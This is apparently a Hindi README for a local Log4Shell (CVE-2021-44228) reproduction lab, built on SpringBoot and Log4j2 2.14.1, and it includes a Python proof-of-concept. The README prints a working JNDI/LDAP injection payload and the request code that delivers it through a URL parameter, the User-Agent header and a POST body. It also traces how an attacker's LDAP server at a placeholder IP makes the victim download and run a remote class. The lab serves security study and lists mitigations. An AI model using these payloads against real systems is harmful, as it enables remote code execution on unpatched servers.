
CVE-2021-44228 (Log4Shell) भेद्यता पुनरुत्पादन लक्ष्य | SpringBoot + Log4j2 2.14.1 | 3 आक्रमण वैक्टर PoC सत्यापन
⚠️ अस्वीकरण: यह परियोजना केवल सुरक्षा सीखने और तकनीकी अनुसंधान के लिए है। सभी कमजोरियों वाले वातावरण स्थानीय रूप से स्थापित किए गए हैं, और किसी वास्तविक लक्ष्य का परीक्षण नहीं किया गया है। कृपया इसे अवैध उद्देश्यों के लिए उपयोग न करें। इस परियोजना का उपयोग करने का जोखिम उपयोगकर्ता स्वयं वहन करेगा।
Log4j2 जावा पारिस्थितिकी तंत्र में सबसे व्यापक रूप से उपयोग किया जाने वाला लॉगिंग फ्रेमवर्क है। इसमें एक Lookup सुविधा है जो लॉग में ${...} सिंटैक्स के साथ गतिशील सामग्री डालने की अनुमति देती है। संस्करण 2.14.1 और उससे नीचे में, जब लॉग सामग्री में ${jndi:...} दिखाई देता है, तो Log4j2 स्वचालित रूप से निर्दिष्ट पते पर JNDI अनुरोध भेजता है, जिससे हमलावर दूरस्थ कोड निष्पादन (RCE) प्राप्त कर सकता है।
इस कमजोरी को CVE-2021-44228 नामित किया गया है, CVSS स्कोर 10.0 (पूर्ण अंक), ट्रिगर करने की स्थिति बेहद सरल है, यह लगभग सभी Java अनुप्रयोगों को प्रभावित करती है जो Log4j2 का उपयोग करते हैं, और शोषण की लागत बेहद कम है।
पूर्वापेक्षाएँ: JDK 8+, Maven, Python 3, requests लाइब्रेरी
चरण 1: कमजोरी प्रयोगशाला शुरू करें
IDEA के साथ परियोजना खोलें, VulnApplication.java चलाएँ, निम्नलिखित आउटपुट देखने पर सफल शुरुआत का संकेत मिलता है:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
चरण 2: PoC स्क्रिप्ट चलाएँ
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
URL पैरामीटर के माध्यम से payload इंजेक्ट करें, logger.info("User Login: {}", username) ट्रिगर करें:
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
HTTP अनुरोध हेडर के माध्यम से payload इंजेक्ट करें, logger.info("User-Agent: {}", headers) ट्रिगर करें:
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
POST अनुरोध बॉडी के माध्यम से payload इंजेक्ट करें, logger.info("Data: {}", body) ट्रिगर करें:
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] कनेक्शन प्राप्त हुआ! 127.0.0.1:51631 से
[+] कमजोरी की पुष्टि! Log4j2 ने JNDI अनुरोध भेजा
[+] CVE-2021-44228 पुनरुत्पादन सफल
सुनने वाला अंत प्रयोगशाला से TCP कनेक्शन प्राप्त करता है, जो दर्शाता है कि Log4j2 ने ${jndi:...} को पार्स किया और LDAP अनुरोध भेजा, कमजोरी की पुष्टि हुई।
Log4j2 की Lookup सुविधा लॉग में ${...} सिंटैक्स के साथ गतिशील सामग्री डालने की अनुमति देती है, जैसे ${env:PATH} पर्यावरण चर पढ़ता है, ${sys:user.dir} सिस्टम गुण पढ़ता है।
JNDI (Java Naming and Directory Interface) जावा का नामकरण और निर्देशिका इंटरफ़ेस है। इसे एक पता दें, यह खोज कर परिणाम लौटाता है। यदि लौटाया गया परिणाम एक Java क्लास है, तो JVM स्वचालित रूप से इसे लोड और निष्पादित करता है।
① हमलावर इनपुट फ़ील्ड में लिखता है: ${jndi:ldap://हमलावर_IP:1389/EvilClass}
↓
② वेबसाइट इनपुट प्राप्त करती है, logger.info() के साथ लॉग लिखती है
↓
③ Log4j2 लॉग सामग्री पार्स करता है, ${jndi:ldap://...} पाता है
↓
④ Log4j2 LDAP अनुरोध भेजता है → हमलावर सर्वर से कनेक्ट होता है
↓
⑤ हमलावर का LDAP सर्वर लौटाता है: "इस पते से EvilClass.class डाउनलोड करें"
↓
⑥ पीड़ित सर्वर EvilClass क्लास डाउनलोड और लोड करता है
↓
⑦ EvilClass का static कोड ब्लॉक स्वचालित रूप से निष्पादित होता है → RCE (दूरस्थ कोड निष्पादन)
-Dlog4j2.formatMsgNoLookups=true जोड़ें${jndi: वाले अनुरोधों को रोकेंlog4j2-vuln-lab/
├── pom.xml # Maven कॉन्फ़िगरेशन, Log4j2 2.14.1 कमजोरी संस्करण निर्दिष्ट करता है
├── exploit/
│ └── exploit.py # PoC शोषण स्क्रिप्ट, 3 हमला वेक्टर + TCP सुनना सत्यापन
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # SpringBoot स्टार्टअप क्लास
│ └── controller/
│ └── UserController.java # 3 कमजोरी इंजेक्शन बिंदु (GET पैरामीटर/UA हेडर/POST बॉडी)
└── resources/
├── application.yml # पोर्ट नंबर + लॉग स्तर कॉन्फ़िगरेशन
└── log4j2.xml # Log4j2 कॉन्फ़िगरेशन फ़ाइल